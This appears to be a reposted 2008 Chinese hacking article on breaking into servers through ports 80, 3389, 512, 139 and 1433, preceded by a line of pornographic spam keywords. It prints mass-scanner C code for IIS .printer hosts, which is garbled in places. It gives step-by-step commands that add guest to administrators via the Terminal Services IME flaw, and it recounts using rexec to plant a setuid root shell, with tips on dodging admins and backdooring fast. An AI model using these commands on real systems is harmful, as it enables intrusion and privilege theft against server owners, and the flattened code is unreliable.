欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

80端口、512端口、3389端口……入侵實例

互聯(lián)網   發(fā)布時間:2008-10-08 19:37:18   作者:佚名   我要評論
有很多網站為了安全起見,在WEB Server前面架了防火墻,或者做了TCP/IP過濾,對外只開放TCP 80端口。從入侵者角度來看,要入侵那么從80上跑的CGI入手是比較可行的,當然也可以用別的辦法,例如旁敲側擊,呵呵。從網管角度來看,一是要保證CGI的安全性,另外網絡的整體安全
有很多網站為了安全起見,在WEB Server前面架了防火墻,或者做了TCP/IP過濾,對外只開放TCP 80端口。從入侵者角度來看,要入侵那么從80上跑的CGI入手是比較可行的,當然也可以用別的辦法,例如旁敲側擊,呵呵。從網管角度來看,一是要保證CGI的安全性,另外網絡的整體安全性也是很重要的。針對基于80端口入侵、防范而出的CGI掃描器數(shù)不勝數(shù),但基本上原理都一樣。
  CGI掃描器原理說起來其實非常簡單,可以用四句話來概括:連接目標WEB SERVER;發(fā)送一個特殊的請求;接收目標服務器返回數(shù)據(jù);根據(jù)返回數(shù)據(jù)判斷目標服務器是否有此CGI漏洞。
  當管理的服務器達到一定數(shù)量的時候,手工檢測自己的服務器是否存在各種各樣的CGI漏洞,那就太消耗時間和精力了,所以一個網管手上有個比較好用的CGI漏洞掃描器還是必要的。OK!今天我們就自己來動手用C寫一個簡單的CGI掃描器,幫助自己在日常工作中檢測服務器:))
  源代碼如下,很多地方我都加了注釋,別嫌我煩哦:))編譯好的程序可以從http://eyas.3322.net/program/cgicheck.exe下載。
  /************************************************************************* Module:CGICheck.cpp Author:ey4s Date:2001/5/16說明:這是一個Console下多線程,帶有進度顯示的CGI掃描器的模板,更改一下szSign和SendBuff就可以掃描其他CGI漏洞,設置了連接、發(fā)送、接收超時,速度還可以哦。希望可以幫助到admins檢測自己的服務器:))
  *************************************************************************/ #i nclude
                 
  #define iPort 80//目標Web Server端口#define szSign “500 13rnServer: Microsoft-IIS/5.0”//根據(jù)此標志來檢查目標是否有漏洞
                 
  #pragma comment(lib,“ws2_32.lib”)
  /////////////////////////////////////////////////////////////////////////// // //定義&初始化全局變量// char *SendBuff=“GET /NULL.printern”,//發(fā)送的請求buff CurrentTarget[52]=,//存放最后一個線程將掃描的目標turn[4][2]=;//顯示進度時的字符int SendBuffLen=strlen(SendBuff),//發(fā)送的buff長度iConnTimeout,//TCP Connect TimeOut ii=0,//掃描進度iTotal;//服務器總數(shù)HANDLE hSemaphore=NULL,//信標內核對象句柄,用來控制線程數(shù)量hStdout;//console標準輸出句柄,做進度顯示的時候用的struct timeval timeout;//連接、發(fā)送和接收的超時值DWORD SleepTime;//每個一個線程后等待的時間/* SleepTime值根據(jù)用戶輸入的線程數(shù)量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]來計算。確保在CONNTIMEO時間左右開ThreadNum個線程。這樣在CONNTIMEO時間后,所開的線程開始陸續(xù)超時退出,可以繼續(xù)穩(wěn)定的開線程,可以有效的保證同時有ThreadNum個線程在運行。
  */ /////////////////////////////////////////////////////////////////////////// void ShowError(char *);//顯示出錯信息函數(shù),可以寫完善一些,偶偷懶了:)
  BOOL ResetCursor(void);//重置光標位置,線程輸出的時候調用的DWORD WINAPI ShowProInfo(LPVOID);//顯示進度信息DWORD WINAPI scan(LPVOID);//掃描函數(shù)void usage(char *);//幫助函數(shù)/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
  { HANDLE hThread=NULL;//線程句柄DWORD dwThreadID;//線程ID struct sockaddr_in sa;int i,MaxThread;//最大線程數(shù)量WSADATA wsd;long PreviousCount;clock_t start,end;//程序運行的起始和結束時間double duration;
                 
  //檢查用戶輸入?yún)?shù)if(argc!=5)
  { usage(argv[0]);return 1;} //get target range int StartNet=inet_addr(argv[1]);int StopNet=inet_addr(argv[2]);int StartHost=ntohl(StartNet);int StopHost=ntohl(StopNet);//取得線程數(shù)量MaxThread=atoi(argv[3]);//取得conn超時時間iConnTimeout=atoi(argv[4]);//檢查參數(shù)合法性if((iConnTimeout>6) || (iConnTimeout500) ||(StopHost { usage(argv[0]);return 1;} //計算時間SleepTime=1000*iConnTimeout/MaxThread;//設置連接超時值timeout.tv_sec = iConnTimeout;timeout.tv_usec =0;__try { //開始計時start=clock();//加載winsock庫if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  { ShowError(“WSAStartup”);__leave;} //創(chuàng)建信標內核對象句柄hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);if(hSemaphore==NULL)
  { ShowError(“CreateSemaphore”);__leave;} //取得console標準輸出句柄hStdout=GetStdHandle(STD_OUTPUT_HANDLE);if(hStdout==INVALID_HANDLE_)
  { ShowError(“GetStdHandle”);__leave;} //設置目標總數(shù)iTotal=StopHost-StartHost;//創(chuàng)建進度顯示線程hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);if(hThread==NULL)
  { ShowError(“1 CreateThread”);__leave;} //關閉句柄CloseHandle(hThread);//循環(huán)創(chuàng)建掃描線程for(i=StartHost;i
  break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //掃描函數(shù)// DWORD WINAPI scan(LPVOID lp)
  { int i=(int)lp,iErr;struct sockaddr_in server;SOCKET s=INVALID_SOCKET;char RecvBuff[1024]=,*ptr;int RecvBuffLen=sizeof(RecvBuff);u_long ul=1;//初始化為為非0值fd_set r,w;
                 
  //create socket s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s==INVALID_SOCKET)
  { printf(“nCreate socket failed:%d”,GetLastError());ExitProcess(1);} //fill the addr struct server.sin_family=AF_INET;server.sin_port=htons(iPort);server.sin_addr.S_un.S_addr=htonl(i);__try { //設置socket為非鎖定模式,ul為0值的話,那么soocket將被設置為鎖定模式iErr=ioctlsocket(s,F(xiàn)IONBIO,(unsigned long*)&ul);if(iErr==SOCKET_ERROR )
  { ResetCursor();ShowError(“ioctlsocket”);ExitProcess(1);} //printf(“n%X ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%X conn return,start select w”,i);//設置select參數(shù)FD_ZERO(&w);FD_SET(s, &w);//等待connect成功&socket可寫iErr=select(0, 0, &w, 0, &timeout);//printf(“n%X select w return %d”,i,iErr);//等待返回后,socket仍不可寫則退出if((iErr==SOCKET_ERROR) || (iErr==0))
  { //printf(“n%X select return w err,exit”,i);__leave;} //socket可寫則繼續(xù)else { //send buff to target //printf(“n%X send”,i);iErr=send(s,SendBuff,SendBuffLen,0);//printf(“n%X send return”,i);if(iErr==SOCKET_ERROR)
  __leave;} //等待socket可讀FD_ZERO(&r);FD_SET(s, &r);//printf(“n%X start select r”,i);iErr=select(0, &r, 0, 0, &timeout);//printf(“n%X select r return %d”,i,iErr);if((iErr==SOCKET_ERROR) || (iErr==0))
  { //printf(“n%X select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%X start recv”,i);iErr=recv(s,RecvBuff,RecvBuffLen,0);//printf(“n%X recv ret”,i);if(iErr==SOCKET_ERROR)
  __leave;} //verify buff ptr=strstr(RecvBuff,szSign);if(ptr!=NULL)
  { //線程輸出前要先調用ResetCursor函數(shù)ResetCursor();//輸出信息后務必加一個以上換行符號,輸出前請別加換行符號,以免顯示混亂printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
  } __finally { if(!ReleaseSemaphore(hSemaphore,1,NULL))
  ShowError(“thread ReleaseSemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
  { printf(“n%s v0.1 only can find IIS5 .Printer mapped”“nPower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnUsage:%s ”“nnNotice”“n StartIP StopIP ==>Don't forgot StopIP must large than StartIP ”“n ThreadNum ==>Thread number,please input between 1-500”“n CONNTIMEO ==>TCP connect timeout,please input between 2-6”“nnExample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在VC 6.0上編譯通過,在windows2000上運行良好:)
                 
                 
                 
  389端口的入侵3389端口的入侵3389端口的入侵
                 
  由于微軟對中國產品不付責任的態(tài)度,使得安裝了終端服務和全拼的w2k服務器存在著遠程登陸并能獲取超級用戶權限的嚴重漏洞。
  其過程如下:
                 
  1.掃描3389 port終端服務默認;2.用終端客戶端程序進行連接;3.按ctrl shift調出全拼輸入法(其他似乎不行),點鼠標右鍵(如果其幫助菜單發(fā)灰,就趕快趕下家吧,人家打補丁了),點幫助,點輸入法入門;4.在“選項”菜單上點右鍵——>跳轉到URL“,輸入:c:winntsystem32cmd.exe.(如果不能確定NT系統(tǒng)目錄,則輸入:c:或d:……進行查找確定);5.選擇”保存到磁盤“選擇目錄:c:inetpubs,因實際上是對方服務器上文件自身的復制操作,所以這個過程很快就會完成;6.打開IE,輸入:http://ip/s/cmd.exe?/c dir怎么樣?有cmd.exe文件了吧?這我們就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我們的批文件內容是否如下:
                 
  net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“選項”菜單上點右鍵——>跳轉到URL“,輸入:c:inetpubsgo.bat ——>在磁盤當前位置執(zhí)行;12.呵呵,大功告成啦,這樣我們就激活了服務器的geust帳戶,密碼為:elise,超級用戶呢?。ㄎ蚁矚gguest而不是建立新帳戶,這樣似乎不易被發(fā)現(xiàn)些),這樣你就可用IPC$連接,想怎樣做就怎樣做了,當然,你也可用guest直接登陸到他的服務器,到他機器上去跳舞吧:-)
                 
  注意事項:1.當你用終端客戶端程序登陸到他的服務器時,你的所有操作不會在他的機器上反應出來,但如果他正打開了終端服務管理器,你就慘了了:(這時他能看到你所打開的進程id、程序映象,你的ip及機器名,并能發(fā)消息給你!
  2.當你連接時,會加重對方服務器的負荷,非常容易造成對方死機和斷線,所以你的操作快點為妙。
  3.盡快做好后門,暫時不要上傳任何程序,一是防止斷線,二是防止對方打上補丁!
  個人觀點:1.在IE下,所擁有的只是iusr_machine權限,因而,你不要設想去做越權的事情,如啟動telnet、木馬等;2.url的跳轉下,你將擁有超級用戶的權限,好好利用吧3.跳轉到哪個目錄下,通常只能查看、執(zhí)行當前目錄的文件,不能進入到子目錄,如想進入,再跳一次吧?。海?
  4.此法似乎與對方的防火墻無關哦!
  5.據(jù)本人實際操作,發(fā)現(xiàn)極易斷線,但應與占用服務器資源無關。對方是384M RAM PIII,是靜態(tài)IP,主要是做數(shù)據(jù)庫服務器,RAID硬盤,SCSI CD ROM,開機18天了,02:00進去時,仍時常吊線。
                 
  堵漏辦法:1.打補?。?.刪掉全拼輸入法,用標準就成了嘛^_^;3.服務中關掉:Terminal Services,服務名稱:TermService,對應程序名:system32termsrv.exe;
                 
                 
  512端口入侵
                 
  已經是第六十幾天了,我的Celeron 533仍不知疲倦的跑著JOHN……我是無意中注意到這個網站的,當時只是想看一下,方法是各位大蝦都會的FINGER,然后猜用戶口令進去的。進去之后PASSWD也沒有SHADOWN,直接就可以看到,該系統(tǒng)用的是Digital unix系統(tǒng),從PASSWD看得出里面的用戶只有兩個組:root和users,我猜中的就是一users級別的,發(fā)現(xiàn)這個級別的用戶幾乎沒有什么權限,TELNET上去后發(fā)現(xiàn)/USR/USERS/XXX是各用戶的HOME,而它們的屬性全是drwx——,也就是說這里的用戶是互不信任的關系(這一點大家在各免費主頁服務器上經??梢钥吹剑?,看來猜出再多用戶級口令也沒有用的。
                 
                 
  root級的用戶只有兩名:root和shut.root我用john已跑了60多天,顯然不可能再跑出來了,但幸運的是shut口令已跑出來了。我毫不猶豫的telnet上去——然后,網站就關閉了!@#~!#^%,我真笨,怎么沒想到shut口令是干什么的?
                 
                 
  網站很快就又開啟了,我發(fā)現(xiàn)shut口令還是沒改!這個網管是怎么當?shù)?,系統(tǒng)關了也不查一下原因!很顯然,這個網站上只有root是有水平的,但他與服務器可能不在同地,對于開、關機之類的事情不能直接操縱,與是給當?shù)氐牟僮鲉T一個root級帳號,然后在。profile文件中做了一個shell,使得帳號一登錄就自動關系統(tǒng)。看看系統(tǒng)這么周密的設計,我想root設計這個shell時絕對關掉了path,所以我不打算在優(yōu)先的path路徑中放一同名的shell來阻止它。我如果能改掉這個文件再telnet上去不就是root級了嗎?
                 
  但是shut的HOME目錄是drwx——,別的帳號根本進不去。沒關系,我試試ftp,530 user shut access denined(被拒絕),users組可以ftp上去同樣進不了shut目錄。而且該網站根本就沒有開WWW服務,怎么辦?為這個網站陸陸續(xù)續(xù)研究了許久,我總是樂觀的鼓勵自己,“起碼我已經知道幾十種進不去的方法了……”。“真正的黑客從來都是把困難當作樂趣,敞開的大門你請他進他都不進呢!”如此六十多天過去了,只到有一天……
                 
  我再一次用haktek掃描該網站,結果如下:Port 21 found. Desc='ftp' Port 23 found. Desc='telnet' Port 25 found. Desc='smtp' Port 79 found. Desc='finger' Port 111 found. Desc='portmap/sunrpc' Port 512 found. Desc='biff/exec' Port 513 found. Desc='login/who' Port 514 found. Desc='shell/syslog' Port 515 found. Desc='printer' Port 1024 found. Port 1025 found. Port 1526 found. Port 1528 found.
                 
  一個以前一直沒有注意的Port 512引起我的注意,這個端口是什么時候開的?要知道它可以讓用戶不登錄就可以運行服務器上的命令?。?!趕緊試試!
                 
  打開一個軟件winrsh32,填入user和password,在命令中填上ls -la,點運行哇,文件全列出來了,剩下的就簡單了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那個破掉的user級帳號telnet,cd/tmp;。temp.當#映入眼簾時,心卻往下一沉,我突然感到一絲落寂……可惜這個root一世小心,卻毀在了讓shut可以使用512端口上??磥砥茐囊粋€世界總是比建立一個世界簡單……
  39端口入侵139端口入侵139端口的入侵,主要是通過建立空連接,而獲得用戶名和共享名,接著用字典法或窮舉法來猜測ADMINISTRATORS的密碼,這樣可獲得最高權限。
  解決方法:1、禁止匿名共享。
  2、禁止管理共享。
  1433端口入侵1433端口入侵1433端口的入侵,主要是利用MS SQL SERVER默認sa的密碼是空,通過遠程執(zhí)行命令而達到目的,或通過窮舉法猜測密碼

相關文章

最新評論